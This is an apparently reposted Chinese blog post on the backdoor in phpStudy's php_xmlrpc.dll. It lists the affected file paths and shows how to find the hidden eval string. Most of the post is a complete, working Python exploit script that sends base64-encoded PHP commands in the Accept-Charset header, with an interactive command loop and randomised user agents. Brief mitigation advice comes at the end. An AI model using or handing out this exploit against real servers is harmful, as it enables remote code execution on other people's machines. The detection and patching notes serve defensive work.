Phpstudy 隐藏后门远程代码执行

其他 2020-05-21 08:47:53 阅读次数: 0

漏洞介绍

phpstudy 是一个php快速集成环境, 主要用于学习测试, 但是也有很多人为了方便行事就直接拿来部署服务器了

影响主件

phpstudy

漏洞指纹

phpstudy 探针

漏洞分析

phpStudy 后门分析

后门在php_xmlrpc.dll文件中，有关键词："eval(%s(%s))"；

phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018路径

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl

 

我们这里下载的是phpstudy2018的

http://www.downza.cn/soft/275049.html

本地下载，其他下载地址都可以下载，下载完安装即可

‘

phpStudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll文件中

直接搜索@eval即可搜索到@eval(%s('%s'))

phpStudy\PHPTutorial\php\php-5.4.45\ext

有即是有漏洞的

php-5.2.17和php-5.4.45是有后门的

后门利用脚本

脚本是python3的

import requests
import base64
from random import choice

USER_AGENTS = [
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
    "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
    "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
    "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
    "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
TIME_OUT=10

print(r"""

 _____   _    _  _____    _____  _               _          ____                _        _                     
 |  __ \ | |  | ||  __ \  / ____|| |             | |        |  _ \              | |      | |                    
 | |__) || |__| || |__) || (___  | |_  _   _   __| | _   _  | |_) |  __ _   ___ | | __ __| |  ___    ___   _ __ 
 |  ___/ |  __  ||  ___/  \___ \ | __|| | | | / _` || | | | |  _ <  / _` | / __|| |/ // _` | / _ \  / _ \ | '__|
 | |     | |  | || |      ____) || |_ | |_| || (_| || |_| | | |_) || (_| || (__ |   <| (_| || (_) || (_) || |   
 |_|     |_|  |_||_|     |_____/  \__| \__,_| \__,_| \__, | |____/  \__,_| \___||_|\_\\__,_| \___/  \___/ |_|   
                                                      __/ |                                                     
                                                     |___/                                                      

                    Usage & e.g. :
                        Target Url:
                        localhost/flag.php
                        Input Your Command:
                        phpinfo();

                    Notice: Command Must Be PHP Function, If You Want To Execute OS Command, Use: system('YOUR COMMAND');
                    By:Sp4ce
                    Have Fun
""")

def checkTarget(url):
    poc = {
            "Accept-Charset": "cGhwaW5mbygpOw==",
            "Accept-Encoding": "gzip,deflate"
        }
    try:
        pocRequest = requests.get(url, headers=poc,timeout=TIME_OUT)
        if "phpinfo" in str(pocRequest.content):
            print('[+] Target is vulnerable.')
            return True
        else:
            print('[-] Target is NOT vulnerable.')
            return False
    except :
        print('[-] Looks Like Something Wrong.')


def exploit(url,command):
    headers = {}
    headers['User-Agent'] = choice(USER_AGENTS)
    headers['Accept-Encoding'] = 'gzip,deflate'
    headers['Accept-Charset'] = command
    try:
        request = requests.get(url, headers=headers)
        if request.status_code == 200:
            print('[+] Command Execute Successful.')
            print(request.text)
        else:
            print('[-] Looks Like Something Wrong. Maybe target is NOT vulnerable.')
    except:
        print('[-] Looks Like Something Wrong.\n')


if __name__ == "__main__":
    while True:
        url = input("Target Url:\n")
        if 'http' not in url:
            url = "http://" + url
        print('[i] Checking Target...')
        if checkTarget(url):
            cmd = input("Input Your Command:\n")
            command = base64.b64encode(cmd.encode('utf-8'))
            exploit(url,command)

地址为127.0.0.1/index.php

命令为system(“whami”);

即可执行相应的命令

利用技巧

phpstudy 根目录下面有个l.php , 里面有探针, 可以作为判断条件

防护方法

从官网下载最新版，官网发表声明说只要从官网下载就不存在漏洞

不要用phpstduy搭建生产环境

从官网下载php-5.4.45版本或php-5.2.17版本，替换其中的php_xmlrpc.dll

 

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